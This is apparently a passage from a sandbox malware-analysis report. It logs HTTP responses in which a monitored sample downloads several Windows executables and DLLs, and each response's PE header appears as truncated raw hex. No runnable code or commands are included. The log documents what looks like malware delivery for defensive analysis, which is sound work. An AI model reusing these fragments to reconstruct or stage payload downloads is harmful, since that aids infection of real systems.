70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 03:41:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 03:41:34 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 03:41:35 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 03:41:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 03:41:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 03:41:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 03:41:43 GMTContent-Type: application/octet-streamContent-Length: 1946624Last-Modified: Mon, 18 Nov 2024 03:28:04 GMTConnection: keep-aliveETag: "673ab444-1db400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 10 4d 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 4d 00 00 04 00 00 23 0f 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c f3 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec f2 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 